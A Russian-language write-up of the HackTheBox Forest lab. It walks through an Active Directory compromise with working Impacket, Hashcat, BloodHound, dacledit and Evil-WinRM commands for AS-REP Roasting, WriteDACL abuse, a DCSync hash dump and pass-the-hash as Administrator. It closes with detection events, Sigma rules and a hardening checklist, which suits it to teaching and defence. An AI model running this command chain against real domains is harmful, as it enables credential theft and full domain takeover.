AS-REP Roasting Active Directory: разбор HTB Forest от разведки до Domain Admin

Рост атак с использованием действительных учётных данных на 71% за год — цифра из IBM X-Force Threat Intelligence Index 2025. За ней стоит конкретная механика: атакующие не подбирают пароли в лоб, а вытаскивают хеши прямо из протоколов аутентификации. Машина HTB Forest — один из лучших полигонов, чтобы пройти такую цепочку целиком: AS-REP Roasting в Active Directory, чтение BloodHound-графа, злоупотребление WriteDACL и финальный DCSync до полного захвата домена. Дальше — каждый шаг с командами, разбором протокола и пояснением, на какую строку в выводе смотреть.

Цепочка атаки: где каждая техника стоит в kill chain

Прежде чем запускать первую команду, стоит понять, что мы строим. В терминах MITRE ATT&CK (открытая база тактик и техник атак; T-коды вроде T1558.003 — её идентификаторы) цепочка выглядит так:

1. Разведка — перечисление пользователей домена через RPC или LDAP без аутентификации.
2. Credential Access — AS-REP Roasting — запрос хеша для аккаунтов без Kerberos pre-authentication. Преаутентификация — обязательное подтверждение личности перед выдачей билета Kerberos. Если она отключена, KDC отдаёт зашифрованные данные кому угодно.
3. Офлайн-взлом — подбор пароля по полученному хешу через Hashcat. По MITRE — Password Guessing (T1110.001, тактика Credential Access).
4. Foothold — подключение к машине через Evil-WinRM с полученным паролем.
5. Внутренняя разведка — сбор данных BloodHound (SharpHound) для анализа графа привилегий.
6. Privilege Escalation — WriteDACL — изменение ACL (списков контроля доступа) на объекте домена, чтобы выдать себе права DCSync. По MITRE — Account Manipulation (T1098, тактика Persistence / Privilege Escalation).
7. DCSync — имитация репликации контроллера домена для извлечения всех хешей, включая Administrator и krbtgt.
8. Pass-the-Hash — вход от имени Administrator без знания пароля.

Весь путь — от первого nmap-скана до полного контроля домена — занимает на Forest около 30–40 минут. На реальном внутреннем пентесте каждый шаг может растянуться: ограничения сетевого доступа, EDR и SIEM-мониторинг вносят свои коррективы.

Kerberoasting (T1558.003) vs AS-REP Roasting — частый вопрос. Обе техники вытаскивают зашифрованные данные из Kerberos для офлайн-взлома. Разница: Kerberoasting требует аутентифицированного доступа в домен и целится в сервисные аккаунты с SPN (Service Principal Name — уникальный идентификатор сервиса в домене). AS-REP Roasting может работать вообще без учётных данных — достаточно знать имя пользователя с отключённой преаутентификацией. На практике это значит: если вы ещё даже не получили ни одного пароля, AS-REP Roasting — ваш первый шанс зацепиться.

[Применимо: внутренний пентест, black/grey box с сетевым доступом к контроллеру домена]

Требования к окружению и начальная разведка

Требования к окружению

Перед стартом убедитесь, что у вас есть:

• ОС: Kali Linux 2023+ или любой Linux-дистрибутив с Python 3.8+
• RAM: минимум 4 ГБ для атакующей машины; 2+ ГБ VRAM для GPU-крекинга в Hashcat (CPU-режим тоже работает, но медленнее в разы)
• Инструменты: Impacket (активно поддерживается, репозиторий fortra/impacket), BloodHound + Neo4j 4.x, Evil-WinRM (Ruby gem), Hashcat 6.x+
• Сеть: VPN-подключение к HTB (или доступ к контроллеру домена в лабораторной среде)

Перечисление пользователей

Первый шаг — узнать, какие пользователи есть в домене. На Forest (и во многих реальных средах с legacy-конфигурацией) работают null sessions — анонимные подключения к RPC. Это когда сервер принимает подключение без логина и пароля и всё равно отдаёт информацию. Звучит дико, но встречается регулярно.

Запускаем rpcclient -U '' -N <TARGET_IP> и внутри выполняем команду enumdomusers. Если null session разрешён, в ответ получим список всех доменных аккаунтов с их RID (числовыми идентификаторами). Сохраняем имена пользователей в файл users.txt — он понадобится на следующем шаге.

Альтернативный путь: enum4linux -a <TARGET_IP> или LDAP-запрос через ldapsearch -x -H ldap://<TARGET_IP> -b "DC=htb,DC=local" "(objectClass=user)" sAMAccountName.

Grey box сценарий: на реальном внутреннем пентесте заказчик часто выдаёт учётные данные low-privileged пользователя. Тогда можно пропустить null session и сразу перечислить пользователей с отключённой преаутентификацией через PowerShell: Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} или через LDAP с аутентификацией. Быстрее и надёжнее.

AS-REP Roasting: запрашиваем хеш без пароля

Теперь ищем аккаунты с отключённой Kerberos pre-authentication. По умолчанию этот флаг включён для всех пользователей, но администраторы иногда отключают его для совместимости со старыми приложениями — и забывают вернуть. Один из реальных кейсов, описанных в блоге HTB: администратор включил флаг «Do not require Kerberos preauthentication» на два года, пока не пришёл пентестер.

Инструмент GetNPUsers.py из набора Impacket делает всё за один вызов: отправляет AS-REQ (запрос аутентификации) для каждого пользователя из списка и проверяет, вернёт ли KDC (Key Distribution Center — центр распределения ключей Kerberos) ответ AS-REP без предварительной проверки.

GetNPUsers.py htb.local/ -dc-ip <TARGET_IP> \
  -usersfile users.txt \
  -format hashcat \
  -outputfile asrep_hashes.txt

Что здесь происходит на уровне протокола: для каждого имени из users.txt скрипт отправляет AS-REQ на порт 88 (Kerberos) контроллера домена. Если у аккаунта отключена преаутентификация, KDC возвращает AS-REP, часть которого зашифрована ключом, производным от пароля пользователя. Если преаутентификация включена — KDC отвечает ошибкой KDC_ERR_PREAUTH_REQUIRED, и скрипт пропускает этот аккаунт.

Как понять, что сработало: в файле asrep_hashes.txt появится строка вида $krb5asrep$23$username@HTB.LOCAL:.... Число 23 — идентификатор типа шифрования RC4-HMAC (0x17 в hex). Именно RC4 делает хеш пригодным для быстрого взлома: этот алгоритм значительно слабее AES-256, и подбор пароля по нему идёт на порядки быстрее.

Когда техника НЕ работает: — Все аккаунты имеют включённую преаутентификацию (правильная конфигурация по умолчанию — и тогда AS-REP Roasting просто не даст результатов) — Нет сетевого доступа к порту 88 контроллера домена — Пароль длинный (25+ символов) и случайный — крекинг не даст результата за разумное время — Среда настроена на AES-only (без RC4) — хеш всё равно извлекается, но ломается на порядки дольше

Офлайн-взлом: Hashcat против слабого пароля

Полученный хеш ломаем локально, без каких-либо запросов к целевой системе — поэтому это и называется «офлайн-взлом». Никаких логов на стороне жертвы, никаких алертов. Запускаем hashcat -m 18200 asrep_hashes.txt /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule. Модуль -m 18200 — формат AS-REP. Правило best64.rule добавляет мутации к словарю: цифры, смена регистра, спецсимволы.

На GPU уровня RTX 3060 подбор по rockyou.txt с правилами занимает секунды. В CPU-режиме — минуты. Если пароль не из словаря и длинный — Hashcat не поможет. Это ограничение стоит помнить: AS-REP Roasting бесполезен против gMSA (Group Managed Service Accounts) — аккаунтов с автоматически ротируемыми 240-символьными паролями. Такой пароль вы не подберёте ни на каком железе.

Ожидаемый результат: в терминале Hashcat покажет строку username@HTB.LOCAL:password — пароль в открытом виде. Если статус Exhausted — пароль не найден в словаре, нужен другой подход (расширенные правила, маски или другой словарь).

Foothold: подключаемся к машине

С полученным паролем подключаемся к целевой машине через WinRM (Windows Remote Management — протокол удалённого управления, работает на порту 5985/5986). Команда: evil-winrm -i <TARGET_IP> -u '<username>' -p '<password>'. Если подключение прошло — перед нами PowerShell-консоль с правами этого пользователя. Это наш foothold — первоначальная точка закрепления в системе.

На этом этапе пользователь имеет ограниченные привилегии. Чтобы двигаться дальше, нужно разведать пути повышения через граф доменных привилегий.

BloodHound: читаем граф привилегий Active Directory

BloodHound — инструмент визуализации путей атаки в AD. Он строит граф: узлы (пользователи, группы, компьютеры) и рёбра между ними (членство в группах, ACL-права, делегирования). Задача — найти путь от текущего пользователя до Domain Admin. Без BloodHound вы будете вручную перебирать группы и разрешения часами. С ним — видите весь маршрут за минуты.

Сбор данных

Запускаем сборщик. С Linux-машины: bloodhound-python -u '<username>' -p '<password>' -ns <TARGET_IP> -d htb.local -c All. Он сгенерирует JSON-файлы с полной информацией о домене: пользователи, группы, ACL, сессии. Загружаем их в интерфейс BloodHound (локально: Neo4j + BloodHound GUI).

Альтернатива: запустить SharpHound прямо на целевой машине через Evil-WinRM, скачать архив и загрузить в BloodHound. Работает, но создаёт дополнительный артефакт на хосте.

Что искать в графе

В интерфейсе BloodHound выполняем встроенный запрос «Shortest Paths to Domain Admins from Owned Principals». Помечаем нашего пользователя как «Owned» (кликом на ноде → Mark as Owned) и запускаем анализ.

BloodHound строит путь примерно такого вида:

svc-alfresco → [MemberOf] → Группа A → [MemberOf] → Группа B (с WriteDACL на домене) → [WriteDACL] → HTB.LOCAL

Ключевое ребро здесь — WriteDACL. Пользователь, входящий в Группу B, может изменять DACL (Discretionary Access Control List — список разрешений) на объекте домена. А если можно менять разрешения на домене — можно выдать себе право DCSync.

На что смотреть в BloodHound-графе: — Рёбра WriteDACL, GenericAll, GenericWrite, WriteOwner — все дают возможность эскалации через ACL — Цепочки групповых членств, особенно через Exchange-группы (Exchange Windows Permissions — типичный вектор в доменах с Exchange Server; эта группа часто имеет WriteDACL на домене «из коробки») — Раздел «Outbound Object Control» у вашего пользователя — показывает, какие объекты вы контролируете напрямую или транзитивно

WriteDACL: злоупотребление правами для повышения привилегий

DACL (списки контроля доступа) определяют, кто что может делать с каждым объектом в AD. WriteDACL — право изменять эти списки. Имея WriteDACL на объекте домена, атакующий добавляет себе ACE (Access Control Entry — отдельную запись в списке доступа), разрешающую репликацию — то есть DCSync.

По MITRE это Account Manipulation (T1098, тактики Persistence и Privilege Escalation): мы не эксплуатируем уязвимость в коде, а злоупотребляем штатным механизмом управления правами. Домен работает как задумано — просто разрешения выданы не тому, кому следовало.

Предусловия

• BloodHound подтвердил наличие WriteDACL-ребра от контролируемого объекта к домену
• Текущий пользователь состоит в группе с WriteDACL (напрямую или транзитивно)
• Сетевой доступ к LDAP/LDAPS на контроллере домена (порты 389/636)

Если пользователь не входит в нужную группу напрямую, но имеет, например, право добавлять членов в эту группу (через AddMember или GenericAll на группу) — сначала добавляем себя или нового пользователя в группу, а потом выполняем WriteDACL.

Эксплуатация

С Linux-машины используем dacledit.py из Impacket. Скрипт добавляет в DACL домена запись, разрешающую нашему пользователю выполнять операции репликации (DS-Replication-Get-Changes и DS-Replication-Get-Changes-All — два extended right, необходимых для DCSync).

dacledit.py -action 'write' -rights 'DCSync' \
  -principal '<username>' \
  -target-dn 'DC=htb,DC=local' \
  'htb.local'/'<username>':'<password>' \
  -dc-ip <TARGET_IP>

Что происходит: скрипт подключается по LDAP к контроллеру домена, находит security descriptor объекта DC=htb,DC=local, добавляет два ACE с правами DS-Replication-Get-Changes и DS-Replication-Get-Changes-All для указанного principal и записывает изменённый дескриптор обратно.

Как понять, что сработало: вывод содержит сообщение об успешной модификации DACL. Проверяем через dacledit.py -action 'read' — в списке ACE должна появиться запись для вашего пользователя с правами репликации.

Альтернативный путь с Windows-машины (через Evil-WinRM): загрузить PowerView и выполнить Add-DomainObjectAcl -TargetIdentity "DC=htb,DC=local" -PrincipalIdentity "<username>" -Rights DCSync. PowerView модифицирует DACL аналогичным образом, но требует загрузки модуля на целевую машину — а это дополнительный артефакт для детектирования. На практике я предпочитаю dacledit.py с Linux: меньше следов на хосте.

Когда WriteDACL НЕ работает: — ACL домена настроены по принципу минимальных привилегий и проходят регулярный аудит — Включён мониторинг Event ID 5136 (изменение объекта директории) — SOC-аналитик увидит добавление ACE — На контроллере домена работает SIEM с правилом на изменение DACL доменного объекта (в репозитории SigmaHQ есть несколько правил в категории T1098)

DCSync атака Active Directory: забираем все хеши

Права репликации выданы — выполняем DCSync. Эта атака имитирует поведение легитимного контроллера домена, запрашивающего репликацию данных. Контроллер «не знает», что запрос идёт от атакующего, и отдаёт хеши паролей.

secretsdump.py 'htb.local/<username>:<password>@<TARGET_IP>' \
  -just-dc-user Administrator
# Ожидаемый вывод:
# Administrator:500:aad3b435...:32693b11...:::
# Четвёртое поле (после третьего двоеточия) — NTLM-хеш

Флаг -just-dc-user Administrator извлекает хеш только для одного аккаунта. Для полного дампа домена уберите этот флаг или используйте -just-dc-ntlm — получите NTLM-хеши всех пользователей, включая krbtgt (чей хеш открывает дорогу к Golden Ticket — но это уже тема для отдельного разбора).

Финальный шаг — Pass-the-Hash: с полученным NTLM-хешем Administrator подключаемся обратно: evil-winrm -i <TARGET_IP> -u Administrator -H '<NTLM_hash>'. Флаг -H передаёт хеш вместо пароля. Видите PowerShell-приглашение от имени Administrator — домен скомпрометирован.

По данным CrowdStrike Global Threat Report 2025, среднее время lateral movement после initial access — 62 минуты. На Forest вся цепочка от первого скана до Domain Admin укладывается в 30 минут — и это без какого-либо EDR на машине. В реальной среде с CrowdStrike Falcon или SentinelOne каждый из этих шагов потребовал бы дополнительных мер по обходу детектирования.

Ограничения и детектирование AS-REP Roasting

Что видит защитник

AS-REP Roasting оставляет следы в логах контроллера домена. Ключевой индикатор — Event ID 4768 (запрос Kerberos Authentication Ticket) с тремя признаками одновременно:

• Pre-Authentication Type = 0 — преаутентификация отключена (главный маркер; именно по нему фильтруем шум)
• Service Name = krbtgt — запрос аутентификационного тикета, а не сервисного
• Ticket Encryption Type = 0x17 — RC4-шифрование, которое используют все популярные инструменты (Impacket, Rubeus)

Фильтрация по Pre-Authentication Type = 0 сразу убирает около 90% шума из логов, оставляя события для ручного анализа — об этом пишут в блоге HackTheBox по детектированию AS-REP Roasting.

Sigma-правила

В репозитории SigmaHQ (формат правил детектирования, конвертируемый под любой SIEM — Splunk, Elastic, MaxPatrol SIEM) есть готовые правила:

• win_security_susp_rc4_kerberos.yml — детектирует запросы Kerberos-тикетов с RC4-шифрованием в Security-логах Windows
• proc_creation_win_hktl_rubeus.yml — детектирует запуск Rubeus по аргументам командной строки
• zeek_susp_kerberos_rc4.yml — сетевой детект RC4 в Kerberos-трафике через Zeek

Для WriteDACL-эксплуатации: мониторинг Event ID 5136 (изменение атрибутов объекта в AD) с фильтром по атрибуту nTSecurityDescriptor на объекте домена.

Чеклист для защиты

1. Проверить все аккаунты с отключённой преаутентификацией: Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true}
2. Включить преаутентификацию на всех аккаунтах, кроме документально обоснованных исключений
3. Для сервисных аккаунтов — перейти на gMSA с автоматической ротацией паролей
4. Настроить SIEM-правило на Event ID 4768 с Pre-Authentication Type = 0 и Ticket Encryption Type = 0x17
5. Провести аудит ACL домена через BloodHound — искать WriteDACL, GenericAll, GenericWrite от непривилегированных объектов
6. Ограничить права DCSync только аккаунтами контроллеров домена
7. Включить аудит Event ID 5136 для отслеживания изменений DACL на критичных объектах

По данным Verizon DBIR 2025, 38% утечек данных связаны с кражей учётных данных. ACL-аудит через BloodHound — одна из немногих мер, которая закрывает сразу несколько векторов: AS-REP Roasting, Kerberoasting, WriteDACL, DCSync.

На каждом внутреннем пентесте, где я запускаю BloodHound, находятся WriteDACL-пути к Domain Admin. Не на каждом третьем — на каждом. Проблема не в AS-REP Roasting: это просто входная точка, и если все аккаунты имеют нормальную преаутентификацию, вектор закрыт. Проблема в ACL-ах. За годы жизни домена накапливаются десятки групп с правами, которые никто не проверял: Exchange-группы, сервисные аккаунты от забытых интеграций, унаследованные разрешения от миграций. BloodHound показывает эти пути за минуты, но в типичной организации его запускают раз в год — во время пентеста. Всё остальное время домен живёт с открытыми путями, которые видит любой аутентифицированный пользователь. По-хорошему, BloodHound или его аналоги должны быть частью еженедельного аудита, а не инструментом из арсенала атакующего. Пока это не так — Forest останется не учебной задачей, а реалистичной моделью типичного корпоративного домена. Если только начинаете разбираться в AD и этот разбор показался плотным — на IB Basics в Codeby Academy берут с любого старта и ведут до первых реальных задач, без академического тона.